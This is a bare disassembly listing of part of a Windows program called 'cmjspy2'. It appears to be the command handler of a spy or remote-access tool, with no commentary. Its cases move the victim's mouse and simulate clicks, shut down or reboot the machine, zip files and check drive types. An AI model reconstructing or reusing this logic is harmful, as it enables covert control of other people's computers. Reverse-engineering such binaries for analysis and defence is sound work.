cmp byte [ebp - 0xc], 0xc3
jne 0x40aec2
mov ecx, dword [ebp - 0x430]
cmp dword [ecx + 0x334], 0
jne 0x40adb3
xor ecx, ecx
mov dl, 1
mov eax, dword [0x49fcbc]
call fcn.00414b6c
mov edx, dword [ebp - 0x430]
mov dword [edx + 0x334], eax
mov eax, dword [ebp - 0x430]
mov ecx, dword [eax + 0x334]
mov eax, dword [ecx + 0x98]
mov dword [eax + 0x24], 0x409240
mov dword [ebp - 0x464], 0x40ec54
mov edx, dword [ebp - 0x430]
mov dword [ebp - 0x460], edx
lea ecx, [ebp - 0x464]
push dword [ecx + 4]
push dword [ecx]
mov edx, dword [ebp - 0x430]
mov eax, dword [edx + 0x334]
call fcn.00427bf0
mov edx, dword [ebp - 0x430]
mov ecx, dword [edx + 0x334]
mov eax, dword [ecx + 0x98]
mov edx, dword [ebp - 0x430]
mov dword [edx + 0x340], eax
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x334]
xor edx, edx
call fcn.00427548
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x334]
mov edx, 0x1ad4
call fcn.00496158
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x334]
mov dl, 1
call fcn.00427548
mov ecx, dword [ebp - 0x430]
cmp dword [ecx + 0x338], 0
jne 0x40ae68
xor ecx, ecx
mov dl, 1
mov eax, dword [0x49fcbc]
call fcn.00414b6c
mov edx, dword [ebp - 0x430]
mov dword [edx + 0x338], eax
mov dword [ebp - 0x46c], 0x40ec54
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0x468], eax
lea ecx, [ebp - 0x46c]
push dword [ecx + 4]
push dword [ecx]
mov edx, dword [ebp - 0x430]
mov eax, dword [edx + 0x338]
call fcn.00427bf0
mov edx, dword [ebp - 0x430]
mov ecx, dword [edx + 0x338]
mov eax, dword [ecx + 0x98]
mov edx, dword [ebp - 0x430]
mov dword [edx + 0x344], eax
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x338]
xor edx, edx
call fcn.00427548
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x338]
mov edx, 0x1ad6
call fcn.00496158
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x338]
mov dl, 1
call fcn.00427548
mov word [ebp - 0x41c], 0x2a8
lea ecx, [ebp - 0xf4]
push ecx
call fcn.00405458
pop ecx
add dword [ebp - 0x410], 2
mov word [ebp - 0x41c], 0x2b4
mov al, byte [ebp - 0xc]
mov byte [ebp - 0xf4], al
mov word [ebp - 0x41c], 0x2c0
lea eax, [ebp - 0x10c]
call fcn.00401800
mov edx, eax
inc dword [ebp - 0x410]
mov ecx, dword [ebp - 0x430]
xor eax, eax
mov al, byte [ecx + 0x363]
call fcn.004397fc
lea edx, [ebp - 0x10c]
push edx
lea ecx, [ebp - 0xf4]
push ecx
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x10c]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x2cc
lea eax, [ebp - 0x110]
call fcn.00401800
mov edx, eax
inc dword [ebp - 0x410]
mov ecx, dword [ebp - 0x430]
dec dword [ecx + 0x374]
mov eax, dword [ecx + 0x374]
call fcn.004397fc
lea edx, [ebp - 0x110]
push edx
lea ecx, [ebp - 0xf4]
push ecx
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x110]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x2d8
mov edx, 0x49a0f6
lea eax, [ebp - 0x114]
call fcn.004961ec
inc dword [ebp - 0x410]
lea ecx, [ebp - 0x114]
push ecx
lea eax, [ebp - 0xf4]
push eax
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x114]
mov edx, 2
call fcn.00496390
lea edx, [ebp - 0xf4]
mov eax, dword [ebp - 0x430]
call fcn.00405a20
push 0xa
lea ecx, [ebp - 0x5f8]
push ecx
mov eax, dword [ebp - 0x430]
push dword [eax + 0x374]
call fcn.0048ea00
add esp, 0xc
push 0
push 0xf
lea edx, [ebp - 0x5f8]
push edx
call fcn.00401c68
add esp, 0xc
mov word [ebp - 0x41c], 0x2e4
push 2
push 0x40000000
lea eax, [ebp - 0x11c]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
lea eax, [ebp - 0x118]
mov edx, dword [str.stemdllcouc.vxd]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x118]
mov eax, dword [ebp - 0x430]
add eax, 0x3d0
pop ecx
call fcn.004963e8
lea eax, [ebp - 0x11c]
call fcn.00401de4
push eax
lea edx, [ebp - 0x100]
push edx
call fcn.00411f84
add esp, 0x10
inc dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0x11c]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x118]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x2b4
push 0xf
lea ecx, [ebp - 0x5f8]
push ecx
lea eax, [ebp - 0x100]
push eax
call fcn.00412010
add esp, 0xc
lea edx, [ebp - 0x100]
push edx
call fcn.004120d0
pop ecx
dec dword [ebp - 0x410]
push 2
lea ecx, [ebp - 0x100]
push ecx
call fcn.00412058
add esp, 8
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0xf0]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
mov word [ebp - 0x41c], 0x2f0
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x120]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea edx, [ebp - 0x120]
mov eax, dword [ebp - 0x430]
add eax, 0x3d4
call fcn.004963c0
dec dword [ebp - 0x410]
lea eax, [ebp - 0x120]
mov edx, 2
call fcn.00496390
jmp case.0x409fb9.108
mov word [ebp - 0x41c], 0x308
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x124]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
mov word [ebp - 0x41c], 0x2fc
mov word [ebp - 0x41c], 0x314
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x128]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
mov word [ebp - 0x41c], 0x2fc
mov word [ebp - 0x41c], 0x320
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x130]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x130]
mov eax, dword [eax]
call fcn.0043989c
test eax, eax
setne dl
and edx, 1
mov byte [ebp - 0x46d], dl
dec dword [ebp - 0x410]
lea eax, [ebp - 0x130]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x2fc
mov word [ebp - 0x41c], 0x32c
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x12c]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
mov word [ebp - 0x41c], 0x2fc
mov byte [ebp - 0x46e], 0
mov word [ebp - 0x41c], 0x338
mov edx, 0x49a0f9
lea eax, [ebp - 0x134]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x12c]
call fcn.0049648c
push eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x134]
mov edx, 2
call fcn.00496390
pop ecx
test cl, cl
je 0x40b2f8
mov eax, dword [ebp - 0x12c]
call fcn.0043989c
test eax, eax
setne dl
and edx, 1
mov byte [ebp - 0x46e], dl
lea eax, [ebp - 0x124]
call fcn.00401de4
push eax
call fcn.00401e48
pop ecx
cmp eax, 0x400
jbe 0x40b6ba
cmp byte [ebp - 0x46e], 0
je 0x40b6ba
mov word [ebp - 0x41c], 0x344
lea eax, [ebp - 0x13c]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
lea eax, [ebp - 0x138]
mov edx, dword [str..mzip]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x138]
lea eax, [ebp - 0x124]
pop ecx
call fcn.004963e8
lea eax, [ebp - 0x13c]
mov eax, dword [eax]
call fcn.00496160
dec dword [ebp - 0x410]
lea eax, [ebp - 0x13c]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x138]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x350
lea eax, [ebp - 0x144]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
lea eax, [ebp - 0x140]
mov edx, dword [str..mzip]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x140]
lea eax, [ebp - 0x124]
pop ecx
call fcn.004963e8
lea eax, [ebp - 0x144]
call fcn.00401de4
push eax
lea eax, [ebp - 0x124]
call fcn.00401de4
push eax
call sym.Projectcmjspy2.exe_cmjZip
dec dword [ebp - 0x410]
lea eax, [ebp - 0x144]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x140]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x368
lea eax, [ebp - 0x14c]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
lea eax, [ebp - 0x148]
mov edx, dword [str..mzip]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x148]
lea eax, [ebp - 0x124]
pop ecx
call fcn.004963e8
lea eax, [ebp - 0x14c]
call fcn.00401de4
push eax
call fcn.00401e48
pop ecx
push eax
lea eax, [ebp - 0x150]
call fcn.00401800
mov edx, eax
inc dword [ebp - 0x410]
pop eax
call fcn.00409070
lea edx, [ebp - 0x150]
push edx
lea eax, [ebp - 0x170]
call fcn.00496ba0
push eax
inc dword [ebp - 0x410]
lea eax, [ebp - 0x160]
mov edx, 0x400
call fcn.00496c24
inc dword [ebp - 0x410]
lea edx, [ebp - 0x160]
pop ecx
pop eax
call fcn.0040e794
lea eax, [ebp - 0x170]
call fcn.00496db4
mov dword [ebp - 0x474], eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x170]
mov edx, 2
call fcn.00496cbc
dec dword [ebp - 0x410]
lea eax, [ebp - 0x160]
mov edx, 2
call fcn.00496cbc
dec dword [ebp - 0x410]
lea eax, [ebp - 0x150]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x14c]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x148]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x35c
cmp dword [ebp - 0x474], 4
jle 0x40b623
mov word [ebp - 0x41c], 0x374
lea ecx, [ebp - 0x17c]
push ecx
call fcn.00405458
pop ecx
add dword [ebp - 0x410], 2
mov word [ebp - 0x41c], 0x380
mov byte [ebp - 0x17c], 0xc2
mov word [ebp - 0x41c], 0x38c
lea eax, [ebp - 0x180]
call fcn.00401800
mov edx, eax
inc dword [ebp - 0x410]
mov eax, dword [ebp - 0x474]
call fcn.004397fc
lea edx, [ebp - 0x180]
push edx
lea ecx, [ebp - 0x17c]
push ecx
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x180]
mov edx, 2
call fcn.00496390
lea edx, [ebp - 0x17c]
mov eax, dword [ebp - 0x430]
call fcn.00405a20
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0x178]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x35c
mov word [ebp - 0x41c], 0x398
lea eax, [ebp - 0x184]
mov edx, dword [str..mzip]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x184]
lea eax, [ebp - 0x124]
call fcn.004963d4
dec dword [ebp - 0x410]
lea eax, [ebp - 0x184]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x3a4
lea eax, [ebp - 0x188]
mov edx, dword [str..mzip]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x188]
lea eax, [ebp - 0x128]
call fcn.004963d4
dec dword [ebp - 0x410]
lea eax, [ebp - 0x188]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x2fc
mov cl, byte [ebp - 0x46d]
push ecx
push dword [ebp - 0x128]
push dword [ebp - 0x124]
mov eax, dword [ebp - 0x430]
push dword [eax + 0x340]
call fcn.004147b0
add esp, 0x10
dec dword [ebp - 0x410]
lea eax, [ebp - 0x12c]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x128]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x124]
mov edx, 2
call fcn.00496390
jmp case.0x409fb9.108
mov word [ebp - 0x41c], 0x3bc
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x18c]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
mov word [ebp - 0x41c], 0x3b0
push dword [ebp - 0x18c]
call fcn.00401ed8
pop ecx
mov word [ebp - 0x41c], 0x3c8
lea edx, [ebp - 0x198]
push edx
call fcn.00405458
pop ecx
add dword [ebp - 0x410], 2
mov word [ebp - 0x41c], 0x3b0
mov byte [ebp - 0x198], 0x87
mov eax, dword [ebp - 0x18c]
call fcn.00439af4
xor edx, edx
mov dl, al
mov dword [ebp - 0x478], edx
mov word [ebp - 0x41c], 0x3d4
lea eax, [ebp - 0x19c]
call fcn.00401800
mov edx, eax
inc dword [ebp - 0x410]
mov eax, dword [ebp - 0x18c]
call fcn.00439c7c
lea edx, [ebp - 0x19c]
push edx
lea eax, [ebp - 0x1a0]
call fcn.00401800
mov edx, eax
inc dword [ebp - 0x410]
pop eax
call fcn.0049656c
lea edx, [ebp - 0x1a0]
push edx
lea eax, [ebp - 0x1a4]
mov edx, dword [str..mzip]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x1a4]
pop eax
call fcn.00496474
push eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x1a4]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x1a0]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x19c]
mov edx, 2
call fcn.00496390
pop ecx
test cl, cl
je 0x40b8d6
mov word [ebp - 0x41c], 0x3e0
lea eax, [ebp - 0x1a8]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
lea eax, [ebp - 0x18c]
call fcn.00401a2c
mov ecx, eax
add ecx, 0xfffffffb
lea eax, [ebp - 0x18c]
mov edx, 1
call fcn.004965f4
lea eax, [ebp - 0x1a8]
mov eax, dword [eax]
call fcn.00439af4
push eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x1a8]
mov edx, 2
call fcn.00496390
pop ecx
test cl, cl
je 0x40b8d6
mov dword [ebp - 0x478], 0xffffffff
mov word [ebp - 0x41c], 0x3ec
lea eax, [ebp - 0x1ac]
call fcn.00401800
mov edx, eax
inc dword [ebp - 0x410]
mov eax, dword [ebp - 0x478]
call fcn.004397fc
lea edx, [ebp - 0x1ac]
push edx
lea ecx, [ebp - 0x198]
push ecx
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x1ac]
mov edx, 2
call fcn.00496390
lea edx, [ebp - 0x198]
mov eax, dword [ebp - 0x430]
call fcn.00405a20
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0x194]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x18c]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
mov word [ebp - 0x41c], 0x3f8
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x1b0]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x1b0]
mov eax, dword [eax]
call fcn.0043989c
mov edx, dword [ebp - 0x430]
mov dword [edx + 0x358], eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x1b0]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x404
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x1b4]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x1b4]
mov eax, dword [eax]
call fcn.0043989c
mov edx, dword [ebp - 0x430]
mov dword [edx + 0x354], eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x1b4]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x410
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x1b8]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x1b8]
mov eax, dword [eax]
call fcn.0043989c
test eax, eax
setne dl
and edx, 1
mov ecx, dword [ebp - 0x430]
mov byte [ecx + 0x364], dl
dec dword [ebp - 0x410]
lea eax, [ebp - 0x1b8]
mov edx, 2
call fcn.00496390
mov eax, dword [ebp - 0x430]
call fcn.00406570
jmp case.0x409fb9.108
mov word [ebp - 0x41c], 0x428
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x1bc]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x1bc]
mov eax, dword [eax]
call fcn.0043989c
mov dword [ebp - 0x47c], eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x1bc]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x41c
mov word [ebp - 0x41c], 0x434
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x1c0]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x1c0]
mov eax, dword [eax]
call fcn.0043989c
mov dword [ebp - 0x480], eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x1c0]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x41c
push dword [ebp - 0x480]
push dword [ebp - 0x47c]
call sub.USER32.DLL_SetCursorPos
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
push 0
push 0
push 0
push 0
push 4
call sub.USER32.DLL_mouse_event
jmp case.0x409fb9.108
push 0
push 0
push 0
push 0
push 0x10
call sub.USER32.DLL_mouse_event
jmp case.0x409fb9.108
push 0
push 0
push 0
push 0
push 2
call sub.USER32.DLL_mouse_event
cmp byte [ebp - 0xc], 0x8e
je case.0x409fb9.108
push 0
push 0
push 0
push 0
push 4
call sub.USER32.DLL_mouse_event
cmp byte [ebp - 0xc], 0x8c
je case.0x409fb9.108
push 0
push 0
push 0
push 0
push 2
call sub.USER32.DLL_mouse_event
push 0
push 0
push 0
push 0
push 4
call sub.USER32.DLL_mouse_event
jmp case.0x409fb9.108
push 0
push 0
push 0
push 0
push 8
call sub.USER32.DLL_mouse_event
cmp byte [ebp - 0xc], 0x8f
je case.0x409fb9.108
push 0
push 0
push 0
push 0
push 0x10
call sub.USER32.DLL_mouse_event
cmp byte [ebp - 0xc], 0x8d
je case.0x409fb9.108
push 0
push 0
push 0
push 0
push 8
call sub.USER32.DLL_mouse_event
push 0
push 0
push 0
push 0
push 0x10
call sub.USER32.DLL_mouse_event
jmp case.0x409fb9.108
mov word [ebp - 0x41c], 0x440
lea ecx, [ebp - 0x1cc]
push ecx
call fcn.00405458
pop ecx
add dword [ebp - 0x410], 2
mov word [ebp - 0x41c], 0x44c
mov byte [ebp - 0x1cc], 0x8b
mov word [ebp - 0x41c], 0x458
lea eax, [ebp - 0x1d0]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, dword [0x4a830c]
mov eax, dword [edx]
call fcn.0046f488
pop edx
call fcn.004397fc
lea ecx, [ebp - 0x1d0]
push ecx
lea eax, [ebp - 0x1cc]
push eax
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x1d0]
mov edx, 2
call fcn.00496390
lea edx, [ebp - 0x1cc]
mov eax, dword [ebp - 0x430]
call fcn.00405a20
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0x1c8]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
mov ecx, dword [ebp - 0x430]
mov byte [ecx + 0x370], 1
jmp case.0x409fb9.108
mov word [ebp - 0x41c], 0x464
lea eax, [ebp - 0x1dc]
push eax
call fcn.00405458
pop ecx
add dword [ebp - 0x410], 2
mov word [ebp - 0x41c], 0x470
mov byte [ebp - 0x1dc], 0x95
mov word [ebp - 0x41c], 0x47c
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x1e0]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x1e0]
mov eax, dword [eax]
call fcn.0043989c
mov dword [ebp - 0x484], eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x1e0]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x470
cmp dword [ebp - 0x484], 4
jne 0x40be9a
mov word [ebp - 0x41c], 0x488
lea eax, [ebp - 0x1f0]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, 0x49a0ff
lea eax, [ebp - 0x1ec]
call fcn.004961ec
inc dword [ebp - 0x410]
push dword [eax]
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x1e8]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea edx, [ebp - 0x1e8]
push dword [edx]
mov edx, 0x49a0fa
lea eax, [ebp - 0x1e4]
call fcn.004961ec
inc dword [ebp - 0x410]
mov eax, dword [eax]
pop edx
pop ecx
call fcn.00475068
lea eax, [ebp - 0x1f0]
push eax
lea edx, [ebp - 0x1dc]
push edx
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x1f0]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x1ec]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x1e8]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x1e4]
mov edx, 2
call fcn.00496390
lea edx, [ebp - 0x1dc]
mov eax, dword [ebp - 0x430]
call fcn.00405a20
jmp 0x40bf25
mov word [ebp - 0x41c], 0x494
push 0
lea eax, [ebp - 0x486]
call fcn.0040e824
mov dl, 2
call fcn.0040e858
mov cx, word [eax]
push ecx
mov word [ebp - 0x41c], 0x4a0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1f4]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x1f4]
mov eax, dword [eax]
mov dl, byte [ebp - 0x484]
pop ecx
call fcn.00474c78
dec dword [ebp - 0x410]
lea eax, [ebp - 0x1f4]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x470
jmp 0x40bf25
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0x1d8]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
mov word [ebp - 0x41c], 0x4ac
lea ecx, [ebp - 0x1fc]
push ecx
call fcn.00415c18
pop ecx
inc dword [ebp - 0x410]
mov word [ebp - 0x41c], 0x4b8
cmp byte [ebp - 0xc], 0x8a
jne 0x40c031
mov word [ebp - 0x41c], 0x4d0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x20c]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
mov word [ebp - 0x41c], 0x4c4
mov word [ebp - 0x41c], 0x4dc
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x210]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x210]
call fcn.00401de4
push eax
lea eax, [ebp - 0x20c]
call fcn.00401de4
push eax
lea edx, [ebp - 0x1fc]
push edx
call fcn.00415ee4
add esp, 0xc
dec dword [ebp - 0x410]
lea eax, [ebp - 0x210]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x20c]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x4b8
lea ecx, [ebp - 0x1fc]
push ecx
call fcn.00415f7c
pop ecx
mov word [ebp - 0x41c], 0x4e8
lea eax, [ebp - 0x208]
push eax
call fcn.00405458
pop ecx
add dword [ebp - 0x410], 2
mov word [ebp - 0x41c], 0x4b8
mov byte [ebp - 0x208], 0x89
xor edx, edx
mov dword [ebp - 0x48c], edx
jmp 0x40c0c8
push dword [ebp - 0x48c]
lea ecx, [ebp - 0x1fc]
push ecx
call fcn.00416028
add esp, 8
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.00407ab8
add esp, 8
push dword [ebp - 0x48c]
lea edx, [ebp - 0x1fc]
push edx
call fcn.00416028
add esp, 8
add eax, 4
push eax
lea ecx, [ebp - 0x208]
push ecx
call fcn.00407ab8
add esp, 8
inc dword [ebp - 0x48c]
lea eax, [ebp - 0x1fc]
push eax
call fcn.00416018
pop ecx
cmp eax, dword [ebp - 0x48c]
ja 0x40c075
lea edx, [ebp - 0x208]
mov eax, dword [ebp - 0x430]
call fcn.00405a20
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0x204]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
push 2
lea ecx, [ebp - 0x1fc]
push ecx
call fcn.00415c6c
add esp, 8
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
push 0
push 2
call sub.USER32.DLL_ExitWindowsEx
jmp case.0x409fb9.108
push 0
push 4
call sub.USER32.DLL_ExitWindowsEx
jmp case.0x409fb9.108
mov eax, dword [ebp - 0x430]
mov eax, dword [eax + 0x2fc]
xor edx, edx
call fcn.00473bb8
call fcn.00401f8c
mov byte [ebp - 0x48d], al
mov word [ebp - 0x41c], 0x14
mov word [ebp - 0x41c], 0x500
push 4
push SysReAllocStringLen
lea eax, [ebp - 0x224]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, str.magicset.set
lea eax, [ebp - 0x220]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x220]
mov eax, dword [ebp - 0x430]
add eax, 0x3d0
pop ecx
call fcn.004963e8
lea eax, [ebp - 0x224]
call fcn.00401de4
push eax
lea edx, [ebp - 0x21c]
push edx
call fcn.00411f84
add esp, 0x10
inc dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0x224]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x220]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x4f4
push 0x3e8
lea ecx, [ebp - 0x9e0]
push ecx
lea eax, [ebp - 0x21c]
push eax
call fcn.00412034
add esp, 0xc
lea edx, [ebp - 0x21c]
push edx
call fcn.004120d0
pop ecx
cmp byte [ebp - 0x48d], 0
jne 0x40c2c5
mov ecx, dword [0x4a8308]
mov eax, dword [ecx]
call fcn.00471a08
mov word [ebp - 0x41c], 0x50c
mov edx, 0x499dee
lea eax, [ebp - 0x228]
call fcn.004961ec
inc dword [ebp - 0x410]
push dword [eax]
lea edx, [ebp - 0x9e0]
lea eax, [ebp - 0x22c]
call fcn.004961ec
inc dword [ebp - 0x410]
push dword [eax]
push 0
call fcn.0040205c
add esp, 0xc
dec dword [ebp - 0x410]
lea eax, [ebp - 0x22c]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x228]
mov edx, 2
call fcn.00496390
cmp byte [ebp - 0x48d], 0
je 0x40c2f6
push 0x49a10d
lea ecx, [ebp - 0x498]
push ecx
call fcn.0041610c
add esp, 8
push 0x49a11f
lea eax, [ebp - 0x498]
push eax
call fcn.00416178
add esp, 8
dec dword [ebp - 0x410]
push 2
lea edx, [ebp - 0x21c]
push edx
call fcn.00412058
add esp, 8
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
mov word [ebp - 0x41c], 0x524
mov ecx, dword [ebp - 0x430]
add ecx, 0x378
push ecx
call fcn.0041598c
pop ecx
mov edx, eax
lea eax, [ebp - 0x230]
call fcn.004961ec
inc dword [ebp - 0x410]
mov word [ebp - 0x41c], 0x518
mov word [ebp - 0x41c], 0x530
lea ecx, [ebp - 0x23c]
push ecx
call fcn.00405458
pop ecx
add dword [ebp - 0x410], 2
mov word [ebp - 0x41c], 0x518
mov byte [ebp - 0x23c], 0xbc
mov dword [ebp - 0x49c], 2
jmp 0x40c4b3
mov word [ebp - 0x41c], 0x53c
lea eax, [ebp - 0x248]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, 0x49a131
lea eax, [ebp - 0x244]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x244]
push edx
lea eax, [ebp - 0x230]
mov edx, dword [ebp - 0x49c]
call fcn.00401a50
mov dl, byte [eax]
lea eax, [ebp - 0x240]
call fcn.004962bc
inc dword [ebp - 0x410]
pop edx
pop ecx
call fcn.004963e8
lea eax, [ebp - 0x248]
call fcn.00401de4
push eax
call sub.KERNEL32.DLL_GetDriveTypeA
cmp eax, 5
sete al
and eax, 1
push eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x248]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
